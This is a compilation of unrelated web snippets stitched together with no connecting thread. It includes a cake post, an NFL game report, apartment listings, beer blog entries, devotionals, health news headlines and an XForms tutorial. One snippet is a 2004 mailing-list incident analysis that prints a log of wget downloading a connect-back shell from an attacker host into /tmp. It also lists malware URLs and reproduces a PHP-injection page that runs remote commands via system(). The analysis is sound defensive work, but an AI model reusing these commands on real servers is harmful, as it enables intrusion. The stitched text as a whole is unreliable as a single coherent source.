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Birdcage Christening cake
For a sweet little girl's Christening. I've been wanting to do a birdcage cake for a while! Was really pleased with how the roses turned out too :) This is vanilla sponge with vanilla buttercream, plain and simple, with sugarpaste decorations and wired roses made from floral paste.
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Perhaps not everyone remembers or even used the original System/Finder (1.1g or earlier) that did not respect folders as directories. Before there was HFS (or HFS+) there was MFS. It was a flat file System - oh yeah we had folders but it was only to kinda organize stuff. If you fit a bunch of files on one of your 400K floppies it was nice to have the folders to hide some of that stuff, but it was all in the same directory i.e., when you went to open a file (e.g., from inside MacWrite) you saw it all. No Folders. Talk about a break in the metaphor!
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He replaces the radiator and the transmission goes out. He rebuilds the transmission and the jalopy develops an oil leak.
The fix-it problems spring up repeatedly despite all efforts to remedy them. And so it is with the 1-4 Titans, who are trying to keep all the parts in working order long enough to detour back to victory lane sooner rather than later.
In Sunday's 31-14 loss to the Washington Redskins, there were plenty of pieces malfunctioning again for the Titans, whose mistakes both offensively and defensively led to a second-half collapse and 21 unanswered Redskin points.
The running game never got out of neutral, despite attempts to use the pass to set up the run. The offense as a whole spat and sputtered after halftime, managing just five first downs and 85 yards in the final two quarters.
The defense didn't pick things up either, allowing rookie quarterback Patrick Ramsey to guide the Redskins to four touchdown drives, including his first three TD passes as a pro. As a team, the Titans stalled out again Sunday, and it allowed the Redskins to pass them by as the Titans limped home to a fourth consecutive loss.
The Titans say the problems are not necessarily rooted in one continual or concentrated area, but that breakdowns are occurring sporadically throughout.
"You get one thing corrected, and something else happens," said quarterback Steve McNair, who was 24 of 39 for 230 yards Sunday, but had three passes picked off in the second half.
A case in point, Fisher pointed to the improved play of the punt return unit that had surrendered a pair of touchdowns to the Oakland Raiders last week as an area that was addressed and improved. But as if on cue, breakdowns both offensively and defensively are forcing the Titans to look under the hood again this week.
"We addressed it, we emphasized it and we worked at it, and we got a great deal of help from Darrell Hill, who's been our best forcer when he's been available. We identified an area and we got it corrected," Fisher said of the punt cover unit that gave up just four yards Sunday.
However, penalties and problems elsewhere cropped up again on the offensive line and with the receivers, not to mention the ongoing struggle in the secondary.
"If there's a false start, and occasionally there's a false start by the same player, some of the time, it's the quarterback, some of it's the center, and some of it's the same player," Fisher said. "We had some difficulties matching up in some areas last week or yesterday, and two weeks ago, we didn't have any difficulties with that particular player or with this particular opponent."
Fisher did say accountability and improvement were musts, and even singled out a couple of players whose Sunday performances did not measure up.
"I can assure you this: There is a sense of urgency and there is an expectation regarding accountability," Fisher said. "I told Aric Morris this. If Aric Morris gets another unsportsmanlike conduct penalty on special teams, he's going to be looking for work on the streets. That's where we are right now. He knows it and I'm not keeping any secrets."
He also pointed to three dropped passes by receiver Kevin Dyson as a concern from Sunday. "Whether he's pressing or not, he's getting paid to catch the ball," Fisher said. "And if it's a pressing issue, then he's got to deal with it." For his part, a dejected Dyson sat and stared into his locker while giving interviews after Sunday's game.
"I had three drops. Two were probably first downs and one was a touchdown," Dyson said. "It seems sometimes when things don't go right, they go worse, and sometimes when things go good, they go better."
It is that second part that has eluded the Titans for much of the 2002 season. And Fisher says he is determined to restore the team's shaken swagger that, quite frankly, has been missing since the 2000 playoff loss at home to the Baltimore Ravens.
"Take for example, if you've got a 4-1 football team and they go on the field [relaxed and focused] with nothing else to do. They just go play," Fisher said. "We've been there before. Unfortunately, it's been a while. When you're like that and you go out there and play like that, things just happen. Where I have to get this team is back to playing like that, despite the record, because that's when we play our best." And to do so will require some more maintenance, some of the physical variety and some of the mental.
"Washington played well, but to me, after looking at the tape, this was us," Fisher said. "This was not Washington. They had a good plan and so on and so forth, but they didn't do anything really that we didn't expect them to do. We just didn't do the things we needed to do properly.
"When you jump offsides on the second play of the game, then you have a holding penalty on the third and you blow a basic protection on the fourth play of the game, your opponent and the rest of the league didn't have anything to do with that. That's our problem."
Part of the solution, says Fisher, could come in the form of lineup changes, though he didn't point to any specific positions or players.
"I have no problem changing people if I feel there is someone better on the roster that's more capable of playing, regardless of who that is," Fisher said. "My job is to win games at all costs, regardless of who plays and when they play. My job is to try to identify strengths and weaknesses and create matchups to put us in a position to win."


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Nearby schools include Beacon High School, Abraham Joshua Heschel High School and PS 191 Amsterdam School.
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2BR / 2Ba, 1100ft2, apartment laundry in building, attached garage, wheelchair accessible, no smoking, cats are OK - , dogs are OK - . Large, bright 2 bedroom in full service building with 24-hour doorman, gym, pool, laundry room and playroom for the kids. 2 bath's with beautiful view on the Hudson and Empire State Building. Large in-build cabinets, hardwood floors, walk-through kitchen, various parks, pre-schools and playground around the block we are moving out of the city and have to bring a new tenant in order to not break the contract. 1, 100 square feet, rent 4500/month. from private, no fees.
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Herman Fosterling
Flowering genitalia…it's captivating.
Business card.
I wanted to do something different. I'll print it on transparency so it looks like film negative.
Some more experimenting with nudes for the magazine. I have been recently thinking of the amount of censorship there is in fashion imagery. Sometimes it is deemed ok to show a whole photo shoot with women's breast but why are we not subjected to the male form as much and also, what is holding us from showing genitalia in such an image. Imagine if we emphasised our privates as much as women exhibit their breasts, if we had push up bras for penises or if were not considered pornographic to show some rouged labia lips and some fur…
A customer profile for my magazine. It's results concluded that ages 25-34 read more art and fashion magazines and are mostly located in the UK, Europe, and the US. Two different charts were made for the gender poll; one was for the percentages of men and women who read magazines which turned out to be around 80% to 20% (women to men. The one pictured above displays the results of the percentage of men and women who read art and culture magazines where my magazine will be situated.
…subtle subversion of the anatomy of fashion editorials
Le combat de Penthèsilèe, Raoul Ubac, 1937
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Deep Red (1975)
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Every fall countless pumpkin beers are released. With all the beers out there to choose from it can be tough to know which one to enjoy. To solve this problem last week the Beeriety crew conducted a blind taste test of 16 popular pumpkin beers. We were hoping to see what beer would emerge as the group favorite when labels, brands and preconceptions were removed. We had a blast, and learned a lot about pumpkin beer in the process. (more…)
The Great Pumpkin Beer Taste TestThursday, October 28th, 2010
Blue Moon: The Most Controversial Beer in America?Thursday, March 18th, 2010
Since its introduction in 1995 Blue Moon Belgian White has steadily grown in popularity, becoming one of the most popular Belgian style beers in America. Despite its popularity the beer also has many detractors who are weary of its corporate ownership and misleading labels.
Many don't realize that although it says "Blue Moon Brewing Company" on the label, Blue Moon is actually made by Molson Coors, one of the biggest beer companies in the world. Because of this there are many in the craft beer community who are apprehensive about the beer's popularity. They see it as an attempt by corporate America to infiltrate the craft beer scene under false pretenses and steal the profits from small, independently owned breweries. They fear that big beer corporations like Molson Coors might one day even be able to drive these small craft breweries out of business thanks to their size and strength from a business stand point, forever damaging the craft beer scene.
At the same time there are many who see the surprising popularity of Blue Moon as nothing but a good thing. Thanks to the massive reach and distribution channels of Molson Coors, Blue Moon is available throughout the US and has introduced countless casual beer drinkers to a Belgian style beer who might otherwise have never tried anything but light lagers like Coors and Budweiser. As a result many more are taking an interest in quality craft beer, helping the craft beer movement a great deal. These folks argue that a beer should be judged on taste, not who brews it, and to do otherwise is nothing but petty snobbery.
Personally I have mixed feelings on the beer. While I too am suspicious of a big corporation like Molson Coors, there is no question it has helped spark an interest in craft beer among many who previously couldn't have cared less. When people new to craft beer ask me to recommend something for them the number one comment I hear is "I like Blue Moon, what else should I drink?" I usually tell these folks to give other Belgian whites a try. Hoegaarden is perhaps the second most popular in the US of this style. While the Hoegaarden Brewery has been around since the 15th century, it's currently owned by Anheisher-Busch, which makes it similar to Blue Moon's current ownership status. Hoegaarden's corporate ties aren't as well known as the Coors/Blue Moon connection so it tends to elicit less of a reaction among craft beer enthusiasts.
There are however some great craft wits out there, including the Ommegang Witte, Allagash White and Blanche De Chambly from Unibroue.
What do you think of Blue Moon? Has it helped or hurt the craft beer movement? Leave your thoughts in the comments below or hit us up on Twitter.
Beer Diplomacy: Obama holds "Beer Summit" at White HouseFriday, July 31st, 2009
The much anticipated 'Beer Summit' took place last evening at the White House between Pres. Obama, Prof. Henry Lois Gates and Sgt. James Crowley two weeks after Sgt. Crowley arrested Prof. Gates in his Cambridge home for disorderly conduct under questionable circumstances. The arrest lead to charges of racism by many in the media and Obama proposed the meeting to help create a "teachable moment" to address the issues raised.
Although no apologies were given during the meeting, Sgt. Crowley said afterwards that it had been a pleasant experience and that they had "agreed to disagree" when it came to the specifics of the arrest in question.
Regardless of how you feel about the arrest, I think everyone can agree that this incident and the interest it has attracted really demonstrates the brotherhood and sense of community which can come from sharing a beer with someone else. Can you imagine them hashing out their differences over a vodka tonic, glass of wine or anything else?
Although we really applaud Pres. Obama's recognition of this unique quality of beer, it's a shame he wasn't able to enjoy a quality American craft beer instead of Bud Light, but that's politics for you. It was also nice to seem them pour them into appropriate glasses, although we were a little disappointed Sgt. Crowley and Vice President Biden put fruit in their beer, something we've warned against in the past.
After much speculation about the choice of beer, Gates ended up drinking a Sam Adams Light, Officer Crowley had a Blue Moon, and Vice President Biden, who also joined them had a Bucklers, a nonalcoholic brew made by Heineken as he does not drink.
The Beer Summit in Washington of course wasn't the only one held last night. Beeriety also co-hosted it's first meetup with BostonTumblrMeetups at the Publick House in Brookline, Mass. It was a lot of fun and we meet a lot of new friends, stay tuned for details on the next one.


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Walkera Devention New Devo 7E 2.4Ghz 7ch Transmitter Without Receiver
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thinking of you this week, I hope your family weathers the storm well.
Well, the hurricane is coming. We will get up to 5 inches of rain plus high winds which will certainly take out trees and power lines. I feel bad for those people up here who lost everything last year with Irene and are just recovering. Last year we lost power for 11 days and our basement flooded, but that was all. Hoping the basement does not flood again. I just finished re doing most of it.
I'll try to keep in touch through my phone. We may have a half day of school tomorrow and then who knows?
It's been raining pretty steadily since about 2pm here. Winds are still decent, not too strong. Clint grilled steaks tonight, and we've decided that for food, we'll plug the stove into the generator to have food. I'm not getting too freaked about it. Praying that you guys have an easier time with this one versus Irene.
School is already closed for tomorrow.
There are tons of schools closed around here. My office got closed, but lots of people will be working from home. Be safe!
Power out as of 1:13 pm est. Lets see how long until we get it back. Very windy. No rain yet.
WOW.. ya'll take care now. Stay safe. As to Halloween alternatives, I am sure you have a plan. However, if you need more suggestions let me know :)
ALL clear. Minimal rain so no flooded basement. Hopefully power won't be out for days. Sounds like NYC is bad.
Glad you all faired well in the storm. I saw some pics of Manhattan..wow!!
Still no power, but I was able to get my costume on in the dark. :D
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I'm not sure that qmail-inject isn't a red herring? The actual
download looks like 'wget' was used.
Good suggestion, my friend :)
It was used WGET to retrieve the http://xpire.info/cli.gz connectback shell.
After other analysis I've found that another person had the same problem:
Here the log trapped by Apache :
[Mon Aug 23 06:25:18 2004] [notice] Accept mutex: sysvsem (Default:
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/include/sdk386: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/include/sdk386: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
--18:06:28-- http://xpire.info/cli.gz
=> `/tmp/a.out'
Resolving xpire.info... done.
Connecting to xpire.info[188.8.131.52]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,147 [text/plain]
18:06:29 (20.04 KB/s) - `/tmp/a.out' saved [19147/19147]
If you compare the output, it's possible to see that in my first showed log
the stdout
was in italian language (cause compromised server is .it), in this case is
in english language.
The hacker launched WGET command to retrieve his hacking tool in /tmp/a.out
In this log you can see also that the hacker also try to execute some "ls"
as first trial to test vulnerability I suppose.
Moved by this, after other analysis I found that vulnerability used is an
obvious-but-effective PHP-Injection
using global variables (http://www.securityfocus.com/archive/1/218000 is a
good page to learn
something about this vuln).
The hacker page used to accomplish the injection are based on this
test-page, taken directly on the hacker-site :-)
I notice that this site is full of trojan/backdoor/shell/worm/exploit and
other malware....why is it still open?
http://xpire.info/cli.gz // connect back shell
http://xpire.info/fa/aga.exe // agobot family
http://xpire.info/install.gz // some trojan/malware ???? my NortonAV
does not catch it; it's a Windows-EXE
This is the sample of PHP-Injection page:
$OS = system('uname -a');
$X = system('ls -la /usr/bin/X11/X');
echo "<OS>".$OS."</OS>
";
echo "<X>".$X."</X>";
<form action="<?=$REQUEST_URI;?>" method=POST>
<input type=text name=lox value='<?=$lox;?>' size=40>

<input type=submit>
Using PHP "system" call, it possible to execute any remote command, like
WGET for example.
Anyone knows before this page???
I assume you used a bootable CD on the infected machine to do the
Unfortunately (I know that this is a *must* for a good analysis) I'm doing
the check remotely,
using SSH, so I cannot use a bootable CD to connect at this remote host very
far from me :)
I'm limited in the analysis.....but the host is not mine!
However I think that md5um give me good results, because I compared all the
/usr/sbin directory
and all the checksum were good, except for /usr/sbin/crond......any ideas???
I used also "rpm -Vf" utility to cross check results, and were the same of
Check the httpd.conf (and other apache configuration files) for any
changes, and also the contents of each module loaded. It's also
possilble, but less likely, that the injection is done in a kernel
It's my fear :(((((((((( I studied all *.conf related to Apache/PHP modules
of this
machine, but nothing was found. A LKM injected could be the only response.
I also ran "chkrootkit" as someone suggest to me, but all the test give
positive answer
(no worm, no rootkit, no trojan)
Sounds like a good time to replace the entire server with a fresh build.
Actually my work will finish when this activity will begin :))))))
Thank you for the help, Kevin.
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This is one of the most adorable comics I've ever read
I've been waiting for this to pop back up on my dashboard.. we are way too hard on ourselves.
That is so beautiful and thoughtful! I'm so happy I can post this on my own tumblr!
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Seth Rogen!
car a We Heart It-on http://weheartit.com/entry/92623284/via/zsozsozso?utm_campaign=share&utm_medium=image_share&utm_source=tumblr
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The fuck is this?
my day is made.
The fuck? The fuck?
The fuck is in the air?
The fuck?
There's white shit everywhere~
The fuck?
I must be fuckin' baked
And this shit's pro'lly fake
The hell, Jack, did we take?
The fuck?
the fuck? the fuck?
there's somethin' fucking wrong
the fuck?
these bitches singin' songs
the fuck?
the streets are lined with sketchy creatures laughing
why the fuck is they so happy?
goddamn these things are creepy!
the fuck is this?
the fuck!
jesus h christ.
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March 5, 2013
and it creates this heaviness in my bones
tommy didn't know what to do with all that ass
not my art, just my edit <3


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The Language of Paradise
The Guaros, who live in the suburbs of Earthly Paradise, call the rainbow snake of necklaces and the firmament overhead sea. Lightning is glow of the rain. One's friend, my other heart. The soul, sun of the breast. The owl, lord of the dark night. A walking cane is a permanent grandson; and for "I forgive," they say I forget


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LUCY MULLOY is a Student Academy Award-nominated writer/director. She graduated from Oxford in Politics, Philosophy, and Economics and from NYU's Graduate Film Division. Mulloy was included in IndieWIRE's On the Rise: 10 Directors of the Future and was on the Berlinale 2013 Generation Jury. Una Noche, her first feature, premiered in Berlin to critical acclaim, nominated for the Crystal Bear. Una Noche will be released in the U.S. by IFC in 2013 and has swept the international festival circuit winning awards including Best New Narrative Director, Best Actor, and Best Cinematography at the Tribeca Film Festival 2012, Best Script at the Brasilia and at the Athens International Film Festivals, and the Grand Jury Prize at Deauville American Film Festival and The International Film Festival of India amongst numerous other international festival awards. Una Noche won the Spike Lee Production Grant, Hollywood Foreign Press Association Grant, Tribeca Creative Promise Award, Adrienne Shelly/IFP Director's Grant, and a Gotham Independent Film Euphoria grant. Lucy is currently in NYC developing her next feature film.


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Two weeks after South Bend's Company B returns from Iraq, a local marine is awarded the Purple Heart.
It is an award no marine wants to receive, but an honor to get if standing on your own two feet.
The Purple Heart for bravery was awarded Thursday to Lance Corporal Bo Kurtz of South Bend's Company B.
His platoon was attacked last October in Baghdad, leaving him with a concussion and blown ear drum.
The award is given to those who are hurt in battle.
Kurtz said, "I'm excited, I honored to have the purple heart awarded to me I never thought I'd get one going over there but it is an honor."
A receiving line of more than a hundred of Kurtz's comrades congratulated the marine who returned from Iraq only a couple weeks ago.
His family, armed with cameras, showered him with hugs and support.
His wife Danielle is overjoyed to see her new husband again.
She said, "It was like an adrenaline rush somebody that you have not seen for a while but we just got married august 8th so haven't really been spending time with him lately."
Kurtz middle name is not courage, but those who know him say it should be.
"Unbelievably brave under fire just pure courage, his family has a tremendous amount to be proud of," said Mark Boone, company commander.
Platoon Sgt. John Kroll said, "If there was something crazy that was going to go on, if there was someone that was going to go out there and do something you absolutely never expect no one would have the courage to do, it would be something that Bo Kurtz did."
Now that his current tour of duty is over, Lance Corporal Kurtz is heading back to his civilian job at a collision and bodywork repair shop.
As for what the future holds.
Kurtz said, "I do have like three and a half years left so if the company goes over I'm going with them, yes."
Since Company B returned, Corporal Kurtz is the second marine to receive a Purple Heart.
Corporal Marvin Heimann was honored last month.
In all, four Company B marines will receive Purple Hearts.


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"Trust in the LORD with all your heart and lean not on your own understanding; in all your ways acknowledge him, and he will make your paths straight."-(Prov 3:5- 6).
I travel a lot. One of the greatest modern-day inventions I've appreciated most is the GPS system for cars. GPS stands for Global Positioning System, a navigational system tied to a satellite that can pinpoint your location and chart directions to any destination you select. I remember a time when a friend of mine and I used one of these when I was in Germany and Switzerland. We were able to program the GPS in English. We began our drive to our destination when a pleasant voice came on: "Turn left in 200 yards." We called our invisible road counselor, Microsoft Mary.
Jesus sent the Holy Spirit to help you and I navigate through life. "But when he, the Spirit of truth, comes, he will guide you into all truth. He will not speak on his own; he will speak only what he hears, and he will tell you what is yet to come" (John 16:13-14).
A story is told years ago about the Chinese underground church having to rely on the Holy Spirit to tell them when and where they were to meet. It was too dangerous to announce public meetings. So, each member had to ask the Holy Spirit the time and place. They would all arrive at the same place at the same time.
Is the Holy Spirit active in your work life? Are you asking for His direction to succeed in your work? Microsoft Mary may help us navigate traffic, but Jesus sent the Holy Spirit to help us navigate life. Ask Him to guide you today.
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This unique "quick-read" book will quite likely create a major paradigm shift in your thinking about money, convict you about your current financial outlook, and free you to live in God's abundant provision. It begins as a story of three people living along three rivers who make very different choices about the water they each manage. The water represents their money and possessions, and the meaning of the story is unmistakably clear and powerfully effective, told in a way that even a child could understand. This is an ideal resource to purchase multiple copies and share with friends, co-workers, and family.
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Designer-Inspired Master Bedroom
Designer Ashley DeLapp created this eclectic master bedroom space based on inspiration from the client's favorite designer purse.
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When designer Heather McManus was given the task of designing this model bedroom, she put together a space that would be an ideal fit for a client seeking a feminine, romantic space. With the addition of floral draperies and bedding, a vintage-inspired vanity and pastel color palette, McManus designed a room fit for the ultimate girly girl.
This was a room I designed for the Designer Showhouse of New Jersey. I wanted to create a feminine bedroom that a girl of any age would love. The imaginary client that I invented for this room was a teenager about to go to college, so it's sophisticated and can also serve as a guest room.
The room was very long and narrow with a smaller area near the closet. That seemed to be the perfect place for a dressing area. Very often the windows and door dictate where the furniture will go. This room was no different, so it was important to have every piece not only be beautiful but very functional.
The long bowling alley-like shape was a challenge, but the right floor plan means a viewer would not notice just how challenging it was.
This project came out exactly as I had hoped. We did have one setback: The walls are done by a faux finisher, and when they were taking out the bathtub in the connected bathroom the workers damaged the wall. It set us back time-wise, but was repaired and re-painted in a week.
Issues will always come up, but if you can roll with it and concentrate on the solution, then you won't get stuck on the problem.
There is a mix of antique replica and cleaner, more modern furniture that works seamlessly together in this room. The soft colors with the eclectic mix give the room a lot of personality. There are also little squirrels hidden throughout this room. The fabric I chose for the window treatments is called Kirkwood by Thibaut and it has a squirrel within the design, so I put little squirrels all over the room as small details.
Designer Ashley DeLapp created this eclectic master bedroom space based on inspiration from the client's favorite designer purse.
Designing your dream bedroom can be a pricey endeavor, but with an open mind and can-do spirit, a designer-inspired bedroom...(12 photos)
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If your Ottawa home or friends have traces of mold within it, you know there are lots of chatter around the cost of mold removal and what the best course of action is to remove it. To begin though, it is important to understand the source of mold, how it got to your home, and the best action to take once it is there.
While there are severe health effects to having mold, it's important to realize the source is always going to be wet spots or water. Common areas for water to seep in, will be common areas where mold removal Ottawa teams should be looking to eliminate it – basements, attics, and outer areas.
Mold remediation experts can help you find the source of the moisture or you can find it yourself, however as soon as it has been located be sure to cut off the source and dry it off. The smaller the affected area, the more likely you can use a biocide agent to remove the mold, and the less likely you need to contact a professional mold inspection company. Government organizations recommend not hiring a professional for smaller areas, and keeping documents for any work done on bigger areas for insurance purposes.
If you do end up hiring a professional, do not let the scare tactics used by many contractors to get tons of money out of you. Not all mold is toxic, and while it can present major health issues if it is. The best course of action is to always get multiple opinions from several mold remediation contractors in the Ottawa area and go with the best choice.
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Born: March 30, 1962
Julien Kasper is a musician who moves seamlessly through rock, jazz, and blues with improvisational spirit, soul, and stunning virtuosity. Reviewing Julien's 1993 demo Guitar Player Magazine raved:
The eclectic [guitarist] suggests that John Coltrane and Miles Davis have far more in common with Hendrix and Beck than most jazz guitarists. Building his style from that perspective, Kasper displays righteous control, dead-on phrasing, progressive composition, and savvy ears ... This guy is really, really good - somebody give him a record deal quick!
Julien released his debut recording, Flipping Time, in 2003 to critical praise. Bucking trends of digital editing and excessive production, he recorded the CD live in the studio to analog tape. Not just flaunting his blistering guitar chops, he chose to craft memorable melodies over rootsy grooves, an artistic choice that makes Flipping Time a CD that appeals not only to guitar players but to music lovers across a wide demographic spectrum....
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Tupper Lake Medical Office Building earns design honors
May 1, 2013 Adirondack Health was presented with the Adirondack Park Excellence in Building Design award for its Medical Office Building located in Tupper Lake. more »»
Lake Placid ER plan questioned
April 30, 2013 LAKE PLACID — Local residents aired their concerns and questions about the proposed conversion of the Adirondack Medical Center-Lake Placid emergency room to an urgent care center at a well-attended... more »»
H'town considers smoking ban for parks, other properties
April 26, 2013 SARANAC LAKE — The town of Harrietstown board agreed Thursday night to look into banning smoking on all town-owned property, including its parks. more »»
Village board will weigh in on Lake Placid ER conversion
April 18, 2013 LAKE PLACID — Village Mayor Craig Randall said his board will likely weigh in formally on Adirondack Health's controversial plan to convert the emergency room at its Lake Placid hospital to an... more »»
New slate of rescue squad officers in Tupper Lake
April 18, 2013 TUPPER LAKE — The Tupper Lake Volunteer Ambulance and Emergency Squad held its annual elections Wednesday night. more »»
Pink chair sinks, a sign of spring
April 17, 2013 SARANAC LAKE — The Saranac Lake Area Chamber of Commerce's pink chair plunged through the ice of Lake Flower's Pontiac Bay at 12:29 p.m. Tuesday. more »»
EMS squads may shift to Elizabethtown hospital
April 13, 2013 Ambulance service providers in the towns of Keene and Wilmington say they will take their patients to the Elizabethtown Community Hospital if Adirondack Health moves forward with a proposal to... more »»
Essex County fares well in health rankings
April 10, 2013 ELIZABETHTOWN — Essex County ranks 16th out of 62 New York counties in the latest County Health Rankings report. more »»
Essex County government discusses going smoke-free
April 9, 2013 ELIZABETHTOWN — Essex County public health officials want to make the county complex a completely smoke-free environment in time for the 37th annual Great American Smokeout, but some supervisors... more »»
More changes to come at Adirondack Health
April 6, 2013 SARANAC LAKE — The conversion of the emergency room at Adirondack Medical Center-Lake Placid to an urgent care center, if it happens, may not be the only change coming for Adirondack Health, and the... more »»
Health care in transition
April 6, 2013 SARANAC LAKE — Adirondack Health administrators and doctors spoke openly for the first time Thursday about their plan to convert the 24-hour-a-day emergency department at Adirondack Medical... more »»
North Elba board withholds judgment on possible ER closure
April 3, 2013 LAKE PLACID — The North Elba town board won't take a stance on the possible closure of the Adirondack Health's Lake Placid emergency room until hospital officials have met publicly with local leader... more »»
Sunmount man guilty of attempted strangulation
April 3, 2013 MALONE — A Sunmount resident accused of strangling an employee of the Tupper Lake developmental disabilities facility pleaded guilty to an attempted strangulation charge in Franklin County Court... more »»
Adirondack Health earns Gold Seal for quality, patient safety
March 28, 2013 SARANAC LAKE — Adirondack Health has been recognized for its commitment to high national standards for healthcare quality and patient safety in hospitals by earning the Joint Commission's Gold Seal... more »»
Worker sues NY over disabled care, retaliation
March 27, 2013 ALBANY — Officials ignored complaints workers were abusing residents of state-owned homes for the disabled in New York, then retaliated against an employee who went public with his claims, according... more »»
NY group home worker's sex abuse case upheld
March 27, 2013 ALBANY — New York's highest court on Tuesday upheld a group home worker's sex assault conviction, concluding his rights against illegal search weren't violated when police belatedly found a deleted... more »»
Tupper Lake girl makes bracelets to fight cancer
March 27, 2013 TUPPER LAKE — A local girl is hard at work fighting cancer, one bracelet at a time. more »»
Signing ER support
March 25, 2013 LAKE PLACID — An emergency room nurse who works for Adirondack Health spent her day off Saturday collecting signatures on petitions in support of keeping open the emergency department at Adirondack... more »»
Owens tries to patch gap in new health law
March 23, 2013 U.S. Rep. Bill Owens introduced a bill this week that would let children up to age 26 take advantage of their parents' Health Savings Accounts. more »»
Hospital lays off 18 more; no decision yet on Lake Placid ER
March 22, 2013 Adirondack Health is laying off 18 more full-time employees and reducing the hours of another 15 full- and part-time workers in response to a loss of more than $1.7 million in revenue. more »»
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Phantasm of the Onyx pipe.
As if to forget his aberration, the phantasm before me began to ignite an intricate pipe of carved onyx, packed firmly with what could only be shreds of dried human flesh. A blinding burst of emerald light. The repugnant waft of depraved combustion. Dancing wisps and shimmering hues, playing on the sleek midnight coat of those ominous antlers. The splinter of wood fell to the floor ablaze, quivering and waning with each breath of the ghastly unceasing wind. As the flame gave way to impenetrable darkness, so too did my hope of ever escaping that wretched abyss of the eldritch unknown.


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Comeback Story: On the Town returns to Broadway with a choreographic makeover
Immersive Integrated and Awkward: What do dancers do when the audience is part of their performance?
Improv Night at Hubbard Street The company teams up with Chicago's iconic Second City comedy troupe
Choreography Knocks: Opportunities for choreographers at all levels
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Did you know that April 29th is International Dance Day? Founded in 1982 by UNESCO's International Theatre Institute, the date honors the birthday of 18th century ballet pioneer Jean-Georges Noverre.
Each year the ITI commissions an artist to create an International Dance Day message for worldwide circulation. This year's message is from French choreographer and Compagnie Käfig director Mourad Merzouki, known for his inventive blend of hip hop, contemporary dance and martial arts. As dancer Teddy Verardo performs an excerpt from Merzouki's Boxe Boxe, the choreographer expresses his profound gratitude and reverence for dance, "with its singular force to eliminate social and ethnic distinctions, leaving but the movement of bodies in their essence, of human beings returning to their pure expression, unique and shared."


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Dr. Franklin was for retaining the clause [on impeachment], as favorable to the executive. History furnishes one example only of a first magistrate being formally brought to public justice. Every body cried out against this as unconstitutional. What was the practice before this, in cases where the chief magistrate rendered himself obnoxious? Why, recourse was had to assassination, in which he was not only deprived of his life, but of the opportunity of vindicating his character. It would be the best way, therefore, to provide in the Constitution for the regular punishment of the executive, where his misconduct should deserve it, and for his honorable acquittal, where he should be unjustly accused.
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Source Notes: Source: BENJAMIN FRANKLIN, debates in the Constitutional Convention, Philadelphia, Pennsylvania, July 20, 1787.James Madison, Debates on the Adoption of the Federal Constitution, ed. Jonathan Elliot, vol. 5, pp. 34041 .
Benjamin Franklin (January 17, 1706 April 17, 1790) was one of the most prominent of Founders and early political figures and statesmen of the United States. Considered the earliest of the Founders, Franklin was noted for his curiosity, ingenuity and diversity of interests. His wit and wisdom is proverbial to this day. More than anyone he shaped the American Revolution despite never holding national elective office. As a leader of the Enlightenment he had the attention of scientists and intellectuals all across Europe. As agent in London before the Revolution, and Minister to France during, he more than anyone defined the new nation in the minds of Europe. His success in securing French military and financial aid was decisive for American victory over Britain. He invented the lightning rod; he invented the notion of colonial unity; he invented the idea of America; historians hail him as the "First American". The city of Philadelphia, Pennsylvania will mark Franklin's 300th Birthday in January 2006, with a wide array of exhibitions, and events citing Franklin's extraordinary accomplishments throughout his illustrious career.
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The Brown University Library has begun the implementation of our digital repository architecture. As such, we have developed a tool to collect basic metadata from users who wish to add content to the repository.
We follow the MODS schema and therefore a web-based MODS editor was built to create MODS XML records. These records are deposited into the eXist native XML database where they can be accessed via a REST API.
XForms technology was used to implement the web-based editor. More specifically the open source Orbeon Presentation Server was used as the XForms processor. This allows the editor to work in standard web browsers with no need for special client software or plugins.
The form is simple and clean, enforcing strict typing. An interactive user interface performs as-you-type validation. With Orbeon and XForms you can select optional data input for more complex metadata entry. An up-to-date error summary controls whether or not a user can submit the metadata. Once all required data and optional data is valid the user may then submit.
The interactive nature of the form is based on AJAX technology.
You can view the MODS editor demo and download the source code. If you have any questions contact Michael Park at Brown University.
How the XForms work
- Using components provided by Orbeon Forms such as XML pipelines or
- Simply use it as an XForms engine for your Java applications.
I chose to use it as an engine for my Java application. This is really quite simple to do:
- Place orbeon-xforms-filter.jar in WEB-INF/lib
- Add Orbeon settings to WEB-INF/web.xml
- Create a directory for the Orbeon XForms Engine to convert from
- Set crossContext to true and point docBase to your war file in the conf/server.xml file (or in an xml file with its own Context element in conf/Catalina/localhost)
The two most important complimenting XML technologies for XForms are XPath and XML schema. You use XPath to reference your XML data. While, XML schema allows you to define your own types and bind them to your input fields. This gives you the ability to validate user input data.
XForms follows the MVC architecture:
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- Controller - specify constraints and relationships between the MODS data
- View - fields, buttons, and drop-down boxes, etc which reference the model
The model is comprised of XML instances. The 'mods-instance' is the actual XML data you are collecting to build a MODS record. There are other top-level MODS element instances which are used to dynamically build the final MODS record. For example, when a user wants to add a 'titleInfo' element its instance is used as a template and inserted into the 'mods-instance'. This is the case for all optional elements added.
Adding an element is done with an 'xforms:insert' via a trigger which reacts to an event (a button click). Likewise, an 'xforms:delete' will remove a particular element or attribute. In order to continually add more of an element you use the 'xforms:repeat' declaration. The repeat element has an id attribute which you reference from your 'xforms:insert'. The two work together to allow a user to keep adding a particular element.
XForms allows you to use 'xforms:bind" to bind to your XML data. You can use bind for validation(required, type, constraint), calculation, and visibility(read-only, relevant) of a particular XML node or attribute. These bindings are defined in the model along with the instances.
XForms controls are similar to HTML form elements: they include text fields, drop down lists, checkboxes, etc. In the body of your html you declare these controls and point them to your XML data using XPath.


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Find out what sets Tuck apart. Hear from the people who make Tuck distinctive among the world's top MBA programs—students, partners, Tuck admissions staff, and the Tuck administrators who will work with you throughout your two years at Tuck. The Tuck 360: MBA blog combines candid insight about life at Tuck from students and partners with helpful insider tips and advice from Tuck staff who want you to succeed at Tuck.
Dawna Clarke - Director of Admissions, February 20, 2014We're often asked which application round will maximize a candidate's chance at admission. Tuck doesn't designate a specific number of offers to each round, but rather bases offers on the quality and quantity of the applicant pool during that particular round. Though April is a Continue Reading
Partner Post Archive, February 19, 2014Today some students found their happy in the company of furry friends! Organized by the MBAPO (MBA Program Office) and Tuck's Quality of Life Chair, we had a room full of Tuck dogs ready and willing to play, cuddle, kiss, nuzzle, and take away ALL the anxiety that can Continue Reading
